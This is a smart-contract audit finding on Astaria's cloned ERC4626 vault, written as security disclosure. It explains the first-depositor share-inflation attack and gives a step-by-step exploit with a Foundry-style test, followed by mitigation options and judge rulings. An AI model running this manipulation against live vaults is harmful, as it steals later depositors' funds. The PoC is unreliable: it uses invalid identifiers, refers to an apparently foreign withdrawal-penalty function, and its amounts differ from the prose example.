First ERC4626 deposit exploit can break share calculation

[code423n4]

Lines of code

https://github.com/AstariaXYZ/astaria-gpl/blob/4b49fe993d9b807fe68b3421ee7f2fe91267c9ef/src/ERC4626-Cloned.sol#L107-L113

Vulnerability details

Impact

A well known attack vector for almost all shares based liquidity pool contracts, where an early user can manipulate the price per share and profit from late users' deposits because of the precision loss caused by the rather large value of price per share.

lib/gpl/src/ERC4626-Cloned.sol:
  106  
  107:   function convertToShares(
  108:     uint256 assets
  109:   ) public view virtual returns (uint256) {
  110:     uint256 supply = totalSupply(); // Saves an extra SLOAD if totalSupply is non-zero.
  111: 
  112:     return supply == 0 ? assets : assets.mulDivDown(supply, totalAssets());
  113:   }

Proof Of Concept

1 - A malicious early user can deposit() with 1 wei of asset token as the first depositor of the LToken, and get 1 wei of shares

2 - Then the attacker can send 10000e18 - 1 of asset tokens and inflate the price per share from 1.0000 to an extreme value of 1.0000e22 ( from (1 + 10000e18 - 1) / 1)

3 - As a result, the future user who deposits 19999e18 will only receive 1 wei (from 19999e18 * 1 / 10000e18) of shares token

4 - They will immediately lose 9999e18 or half of their deposits if they redeem() right after the deposit()

The attacker can profit from future users' deposits. While the late users will lose part of their funds to the attacker.

// test/ERC4626-Cloned.t.sol
function SharePriceManipulation() external {
    address USER1 = address(0x583031D1113aD414F02576BD6afaBfb302140225);
    address USER2 = address(0xdD870fA1b7C4700F2BD7f44238821C26f7392148);
    vm.label(USER1, "USER1");
    vm.label(USER2, "USER2");

    // Resetting the withdrawal fee for cleaner amounts.
    ERC4626-Cloned.setWithdrawalPenalty(0);

    vm.startPrank(address(VaultToken));        
    VaultToken.mint(USER1, 10e18);
    VaultToken.mint(USER2, 19e18);
    vm.stopPrank();

    vm.startPrank(USER1);
    VaultToken.approve(address(ERC4626-Cloned), 1);
    // USER1 deposits 1 wei of VaultToken and gets 1 wei of shares.
    ERC4626-Cloned.deposit(1, USER1);
    // USER1 sends 10e18-1 of VaultToken and sets the price of 1 wei of shares to 10e18 VaultToken.
    VaultToken.transfer(address(ERC4626-Cloned), 10e18-1);
    vm.stopPrank();

    vm.startPrank(USER2);
    VaultToken.approve(address(ERC4626-Cloned), 19e18);
    // USER2 deposits 19e18 of VaultToken and gets 1 wei of shares due to rounding and the price manipulation.
    ERC4626-Cloned.deposit(19e18, USER2);
    vm.stopPrank();

    // USER1 and USER2 redeem their shares.           
    vm.prank(USER1);
    ERC4626-Cloned.redeem(1, USER1, USER1);
    vm.prank(USER2);
    ERC4626-Cloned.redeem(1, USER2, USER2);

    // USER1 and USER2 both got 14.5 VaultToken.
    // But USER1 deposited 10 VaultToken and USER2 deposited 19 VaultToken – thus, USER1 stole VaultToken tokens from USER2.
    // With withdrawal fees enabled, USER1 would've been penalized more than USER2
    // (14.065 VaultToken vs 14.935 VaultToken tokens withdrawn, respectively),
    // but USER1 would've still gotten more VaultToken that she deposited.
    assertEq(VaultToken.balanceOf(USER1), 14.5e18);
    assertEq(VaultToken.balanceOf(USER2), 14.5e18);
}

Recommended Mitigation Steps

Consider either of these options:

1-Consider sending the first 1000 shares to the address 0, a mitigation used in Uniswap V2

2-In the deposit function of project, consider requiring a reasonably high minimal amount of assets during first deposit. The amount needs to be high enough to mint many shares to reduce the rounding error and low enough to be affordable to users.

3-On the first deposit, consider minting a fixed and high amount of shares, irrespective of the deposited amount

4-Consider seeding the pools during deployment. This needs to be done in the deployment transactions to avoiding front-running attacks. The amount needs to be high enough to reduce the rounding error.

5-Consider sending first 1000 wei of shares to the zero address. This will significantly increase the cost of the attack by forcing an attacker to pay 1000 times of the share price they want to set. For a well-intended user, 1000 wei of shares is a negligible amount that won't diminish their share significantly.

[c4-judge]

Picodes marked the issue as unsatisfactory:
Invalid

[c4-judge]

Picodes marked the issue as duplicate of #588

[c4-judge]

Picodes changed the severity to 3 (High Risk)